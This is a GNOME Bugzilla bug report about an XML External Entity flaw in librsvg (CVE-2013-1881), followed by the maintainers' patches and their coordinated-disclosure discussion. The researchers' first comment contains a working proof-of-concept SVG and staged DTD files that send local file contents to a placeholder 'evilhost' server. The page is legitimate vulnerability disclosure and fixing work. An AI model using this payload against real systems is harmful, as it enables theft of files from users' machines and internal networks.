After an evaluation, GNOME has moved from Bugzilla to GitLab. Learn more about GitLab.
No new issues can be reported in GNOME Bugzilla anymore.
To report an issue in a GNOME project, go to GNOME GitLab.
Do not go to GNOME Gitlab for: Bluefish, Doxygen, GnuCash, GStreamer, java-gnome, LDTP, NetworkManager, Tomboy.
Bug 691708 - vulnerability in librsvg
vulnerability in librsvg
Status: RESOLVED FIXED
Product: librsvg
Classification: Core
Component: general
unspecified
Other Linux
: High blocker
: ---
Assigned To: librsvg maintainers
librsvg maintainers
Depends on:
Blocks:
 
 
Reported: 2013-01-14 11:48 UTC by Yury
Modified: 2016-09-12 12:23 UTC
See Also:
GNOME target: ---
GNOME version: ---


Attachments
io: Use XML_PARSE_NONET (2.38 KB, patch)
2013-02-26 13:06 UTC, Christian Persch
none Details | Review
io: Deny non-data: loads (2.12 KB, patch)
2013-02-26 13:06 UTC, Christian Persch
none Details | Review
io: Implement strict load policy (4.17 KB, patch)
2013-03-03 19:18 UTC, Christian Persch
none Details | Review
io: Implement strict load policy (4.45 KB, patch)
2013-03-10 11:52 UTC, Christian Persch
none Details | Review

Description Yury 2013-01-14 11:48:02 UTC
---[ Vulnerable software]

        GVFS
               Version 1.14.2 and possibly others

---[ Vulnerability description]
Positive Research experts have detected a local resources access vulnerability (files and internal network resources) via  XML External Entity enabled in GVFS. An attacker is able to give a user a specially crafted file. If he or she views a folder with the file or opens it, GVFS sends local resource's contents  to the attacker's server.

Here is an example of evil.svg file that should be loaded by a target user:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg [
<!ENTITY % external SYSTEM "http://evilhost/step_one">
%external;
%intern;
%trick;
]>
<svg version="1.1"
     baseProfile="full"
     xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     xmlns:ev="http://www.w3.org/2001/xml-events"
     width="100%" height="100%">
<rect fill="white" x="0" y="0" width="100%" height="100%" />
<rect fill="silver" x="0" y="0" width="100%" height="100%" rx="1em" />
</svg>

An example of http://evilhost/step_one script:

<!ENTITY % deeper SYSTEM "http://evilhost/step_two">
%deeper;
<!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://evilhost/?log=%payload3;'>">

An example of http://evilhost/step_two script:

<!ENTITY % payload SYSTEM "http://local_net/text.txt">
<!ENTITY % payload2 "<!ENTITY &#37; payload3 '%payload;'>">
%payload2;

This script passes http://local_net/text.txt file contents to http://evilhost/?log=.

--[Solution]
We recommend you to disable External Entities, External Parameter Entities and External Doctype support.

---[Credits]
Vulnerability was detected by Timur Yunusov and Alexey Osipov (Positive Research Center)
Comment 1 Christian Persch 2013-01-14 12:59:51 UTC
(In reply to comment #0)
> Here is an example of evil.svg file that should be loaded by a target user:

Loaded how? I tried this in rsvg-view-3 and it doesn't 'work'. Which svg loading programme did you test this with?
Comment 2 Yury 2013-01-15 06:10:36 UTC
File should exist on target machine, for example by means of downloading from malicious website. Then when user opens directory containing evil.svg with Nautilus (not specially by Nautilus, but also software which create thumbnails with gvfs). When thumbnail for svg is created by gvfs there would be access to remote webserver enabling attacker to read local file system of the victim.
Comment 3 Bastien Nocera 2013-01-15 07:09:49 UTC
It has nothing to do with gvfs then, but with librsvg the RSVG library (ultimately) used to create thumbnails.
Comment 4 Yury 2013-02-26 12:47:47 UTC
Can you clarify vulnerability status?

You can understand our interest in this information, because during upcoming BlackHat Europe 2013 conference we are going to disclose information about the technique, which led us to discovery this vulnerability. Our presentation won’t be vendor-specific because we honor responsible disclosure principles, but knowledge about general method can provoke other researchers to look through your products. And as we want to mitigate any issues concerning this fact, we would like to know, whether we can provide you any support or suggest temporary work-around, until a patch will be put in place.
Comment 5 Christian Persch 2013-02-26 13:06:53 UTC
Created attachment 237433 [details] [review]
io: Use XML_PARSE_NONET

We don't want to load resources off the net.

Bug #691708.
Comment 6 Christian Persch 2013-02-26 13:06:57 UTC
Created attachment 237434 [details] [review]
io: Deny non-data: loads

Bug #691708.
Comment 7 Christian Persch 2013-02-26 13:09:29 UTC
Sorry, this bug fell off my radar...

Attached patches should fix this, but the 2nd one might be too restrictive? It limits all xlink:href loads to only allowing data: URIs ; not sure if there are files out there that rely on loading from elsewhere? I though about adding a more general 'same origin' check that would check the xlink:href URI against the file's URI (like mozilla's same origin checks)...
Comment 8 Christian Persch 2013-03-03 19:18:31 UTC
Created attachment 237891 [details] [review]
io: Implement strict load policy

Only allow loads from data: and resource:, and from file: below the directory
of the SVG file itself.

Bug #691708.
Comment 9 Benjamin Otte (Company) 2013-03-03 21:20:59 UTC
I would treat resource:// the same way you treat file:// - not for an particular reason, but we support runtime resource creation, and I'd rather be too careful.
Comment 10 Yury 2013-03-04 04:29:34 UTC
Enabling XML_PARSE_NONET option should be enough for mitigating this issue. Second patch maybe too restrictive for general XML, but for SVG – we think that is not usual use-case when some part of image is loaded from outside of xml.
Comment 11 Christian Persch 2013-03-10 11:52:44 UTC
Created attachment 238516 [details] [review]
io: Implement strict load policy

Allow any file to load from data:, and any resource to load from other
resources. Only allow file: to load other file: URIs from below the path
of the base file. Any other loads are denied.

Bug #691708.
Comment 12 Christian Persch 2013-03-12 19:30:41 UTC
(In reply to comment #9)
> I would treat resource:// the same way you treat file:// - not for an
> particular reason, but we support runtime resource creation, and I'd rather be
> too careful.

Since resources can be added at any path, I don't think a path-based check like for file: would add any extra security here, so I left it at allowing resource: to load any other resource:.

Do you think I can just commit & release this, or do I need to do the CVE & coordinated release dance?
Comment 13 Vincent Danen 2013-03-14 19:23:59 UTC
Matthias cc'd me on this issue, but I never asked -- have you guys reached out to MITRE or anyone for a CVE name?  Do you need one assigned?  I can do that for you if you've not gotten one already.

I suspect this should be coordinated... it's pretty bad to send arbitrary local files to a remote server.
Comment 14 Christian Persch 2013-03-21 13:08:20 UTC
We haven't, no.

Since you said in comment 4 that you'd present this at a conference that by now has already been held, is this bug now publicly known? If so, I'd just remove the protect bit and commit the patches.
Comment 15 Vincent Danen 2013-03-21 17:52:17 UTC
Comment 4 wasn't mine.  =)

I've assigned this CVE-2013-1881.  Please reference it in any commits.  It would indeed be good to know whether or not this has been disclosed at that conference, however.
Comment 16 Christian Persch 2013-03-21 18:05:32 UTC
Sorry, my mistake :-)

I'd like to include this in rsvg 2.38 which is due next monday. (I'll also commit them to 2-36 and do a 2.36.x release, too.) So it would be good to have confirmation that these patches fix the whole problem (I think they do). And also would be great to check that they don't break anything in gnome (I don't have a full build and therefore cannot test this); afaik no gnome icons or artwork uses external references.
Comment 17 Vincent Danen 2013-03-21 18:18:38 UTC
Do we know how far back this goes?  Or is this something that's always existed?  We do have an older version of librsvg2 in RHEL, but I've not had an opportunity to look to see if it's likewise affected.
Comment 18 Christian Persch 2013-03-21 18:32:31 UTC
The part that is fixed by adding XML_PARSE_NONET has existed forever (well, when used with a libxml2 that has remote loading enabled, which I don't know when it was added).

As for the part where librsvg is itself resolving the URI and loading the stuff using GIO / GVFS / libgnomevfs exists since commit 07ef3d5ff75930730b5efa12a0c24f62939a4b71 (from 2004), so practically forever too (although older versions may or may not be exhibit the exploit).
Comment 19 Huzaifa Sidhpurwala (Red Hat Security Response) 2013-04-08 05:37:35 UTC
I dont see any fixes for this one?
Any idea what the plan is?
Comment 20 Christian Persch 2013-04-08 12:38:26 UTC
The fixes are in the 2 patches attached here.

What remains to be done is:
* Test they really fix the alleged exploit
* Test they don't regress anything in Gnome
* Decide whether to just release or do coordinated release 

My vote is on 'just release'. I don't have a working version of the alleged exploit, so I cannot test that; and I don't have a full jhbuild of Gnome so I can't test that part either.
Comment 21 Christian Persch 2013-05-12 21:12:13 UTC
I'll commit the attached patches and release librsvg with them for tomorrow's gnome 3.8.2 release, unless someone has a strong objection.
Comment 22 Christian Persch 2013-08-16 12:49:31 UTC
Released as 2.39.0. Despite the odd minor version, it should be stable enough to put into 3.8 too.
Comment 23 Vincent Danen 2013-08-16 15:14:17 UTC
Is this patch pertinent to resolve this as well?

https://git.gnome.org/browse/librsvg/commit/?id=56d0018d911eb5783f22125d9893fce075778c64 (io: Resolve relative URIs)

Also, can this be considered public now?
Comment 24 Christian Persch 2013-08-16 15:42:08 UTC
That commit is related but _not_ part of the fix of this bug.

I guess the issue itself can be considered public, not sure if the bug should be opened already.
Comment 25 Vincent Danen 2013-08-16 15:53:59 UTC
Ok, great, thanks for clarifying that, Christian.

I would just like to know whether or not we can open our bug regarding this.  Ideally it would be nice to open this bug as well, but our bug is also closed and we would like to open it -- _if_ this issue can be considered public now (the commits don't indicate security or mention a CVE, but it probably won't take long for someone paying attention to realize it's a security fix).  Having said that, I don't want to open ours yet in case you need/want to do something else here that should delay us making it public.
Comment 26 Christian Persch 2013-08-16 21:33:44 UTC
Turns out this change totally broke gtk+ symbolic icons.

gtk+/gtk/gtkicontheme.c:_gtk_icon_info_load_symbolic_internal() constructs svg as a memory stream, containing some CSS, then xi:include'ing the real svg, and loads the thing via gdk-pixbuf. That means there's no way to tag this stream with an 'origin' so that it could allow the access to the file: URI.
Comment 28 Vincent Danen 2013-08-19 20:17:10 UTC
Can we make our bug and the CVE public now?
Comment 29 Vincent Danen 2013-08-19 20:17:11 UTC
Can we make our bug and the CVE public now?
Comment 30 Christian Persch 2013-09-14 12:48:48 UTC
No objection from me.
Comment 31 Vincent Danen 2013-09-17 07:11:57 UTC
Thanks.  It's public now:

https://bugzilla.redhat.com/show_bug.cgi?id=924414
Comment 32 Gerhard Schaden 2016-09-12 12:23:47 UTC
Hi,

I think that the bugfix made for this report breaks loading files at all

https://github.com/GNOME/librsvg/commit/f01aded72c38f0e18bc7ff67dee800e380251c8e#diff-0da2210ce50c01c306244f696531dc4fR2212

I cannot find any way how to specify file includes without breaking one of this rules.